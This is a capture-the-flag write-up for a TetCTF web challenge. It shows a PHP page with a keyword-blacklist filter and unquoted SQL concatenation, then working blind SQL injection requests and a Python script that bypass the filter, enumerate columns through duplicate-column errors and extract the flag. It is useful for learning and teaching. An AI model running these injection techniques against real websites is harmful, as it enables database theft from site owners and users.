Investigation

Limit ‘Em All! http://45.77.255.164/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!-- The Author of this challenge is so kind and handsome that he is giving you flag, just need to bypass his god-tier waf and grab it <3 -->

<?php 

include('dbconnect.php');

if(!isset($_GET["id"]))
{
    show_source(__FILE__);
}
else
{
    // filter all what i found on internet.... dunno why 。゚・(>﹏<)・゚。
    if (preg_match('/union|and|or|on|cast|sys|inno|mid|substr|pad|space|if|case|exp|like|sound|produce|extract|xml|between|count|column|sleep|benchmark|\<|\>|\=/is' , $_GET['id'])) 
    {
        die('<img src="https://i.imgur.com/C42ET4u.gif" />'); 
    }
    else
    {
        // prevent sql injection
        $id = mysqli_real_escape_string($conn, $_GET["id"]);

        $query = "select * from flag_here_hihi where id=".$id;
        $run_query = mysqli_query($conn,$query);

        if(!$run_query) {
            echo mysqli_error($conn);
        }
        else
        {    
            // I'm kidding, just the name of flag, not flag :(
            echo '<br>';
            $res = $run_query->fetch_array()[1];
            echo $res; 
        }
    }
}

?>

As you can see, the program only outputs the second column of the record, and it already filters out some gadgets with preg_match.

Go to http://45.77.255.164/?id=1, and get handsome_flag as the response. Different id has different output. This can be the identifier to check whether our query outputs 1 or other values when using Blind SQL Injection.

From the source code, we already know that the table name is flag_here_hihi. What I need to do next is

  1. get column names
  2. get the value of the specific column

= and like are filtered => use in.

substr and mid are filtered => use left

information_schema cannot be used since or is filtered. I need to use the alternative method to extract column names.

Exploitation

Find column names

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Request
    GET /?id=1 && (SELECT * from flag_here_hoho.flag_here_hihi) in (1)
Response
    Operand should contain 3 column(s)

# Which means there are 3 columns in total

Request
    GET /?id=1 && (select * from (select * from flag_here_hihi as a join flag_here_hihi as b)as c)
Response
    Duplicate column name 'id'

# Which means the first column is 'id'

Request
    GET /?id=1 && (select * from (select * from flag_here_hihi as a join flag_here_hihi as b using(id))as c)
Response
    Duplicate column name 't_fl4g_name_su'

# Which means the second column is 't_fl4g_name_su', which is 'handsome_flag' when id=1.

Request
    GET /?id=1 && (select * from (select * from flag_here_hihi as a join flag_here_hihi as b using(id,t_fl4g_name_su))as c)
Response
    Duplicate column name 't_fl4g_v3lue_su'

# The last column is 't_fl4g_v3lue_su'

Now we get all the column names, and it is obvious that the flag stores in ’t_fl4g_v3lue_su’.

Get the value of column t_fl4g_v3lue_su

First, I need to know the length of the flag.

I use the length function with in as query. Like length((select t_fl4g_v3lue_su from flag_here_hihi limit 0,1)) in (1), if the flag length is 1, this query will be true, otherwise false. With 1 && in the front, if handsome_flag is in the response, then the query behind && is true.

After I get the length of the flag, which is 61, the next step is to get the flag character by character.

I make a query like left(binary(select t_fl4g_v3lue_su from flag_here_hihi limit 0,1),1) in (char(84)), use binary for case-sensitive, char(84) is T. So, this query returns true if the left-most character of the flag is T, otherwise false.

After having the first character, I can keep on using left(binary(select t_fl4g_v3lue_su from flag_here_hihi limit 0,1),2) in (char(84,101)) to find the second character from the left.

The script is as follows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import string

chars = [ord(ch) for ch in string.printable]

flag_length = 0
for i in range(1, 70):
    my_param = {
        'id': '1 && length((select t_fl4g_v3lue_su from flag_here_hihi limit 0,1)) in ({})'.format(i)
    }
    r = requests.get('http://45.77.255.164/', params=my_param)
    if 'handsome_flag' in r.text:
        flag_length = i

print('Flag length', flag_length)
# Flag length 61

flag = ''
flag_ascii = ''
for i in range(1, flag_length + 1):
    for ch in chars:
        my_param = {
            'id': '1 && left(binary(select t_fl4g_v3lue_su from flag_here_hihi limit 0,1),{}) in (char({}{}))'.format(i, flag_ascii, ch)
        }
        r = requests.get('http://45.77.255.164/', params=my_param)
        if 'handsome_flag' in r.text:
            flag += chr(ch)
            flag_ascii += str(ch) + ','
            print(flag)
            break
print('Flag', flag)

Finally I get the flag TetCTF{_W3LlLlLlll_Pl44yYyYyyYY_<3_vina_*100*28904961445554#}.